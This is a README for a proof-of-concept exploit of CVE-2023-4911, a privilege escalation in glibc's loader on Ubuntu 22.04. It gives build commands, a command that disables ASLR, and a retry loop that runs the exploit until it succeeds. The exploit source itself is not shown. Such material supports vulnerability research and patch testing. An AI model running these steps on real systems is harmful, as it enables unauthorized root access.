Green-Avocado / CVE-2023-4911

https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt

CVE-2023-4911

https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt

Proof-of-Concept

Developed for:

• Ubuntu 22.04
• Ubuntu GLIBC 2.35-0ubuntu3.1
• su from util-linux 2.37.2
• ASLR ON

Dockerfile included.

Debug

Disable ASLR

$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Compile with NO_ASLR

$ python3 patch.py
$ gcc poc.c -o poc_debug -DNO_ASLR

Run gdbscript

gdb -ix gdbscript

Build

$ python3 patch.py
$ gcc poc.c -o poc

Usage

./poc; while [ $? -ne 0 ]; do ./poc; done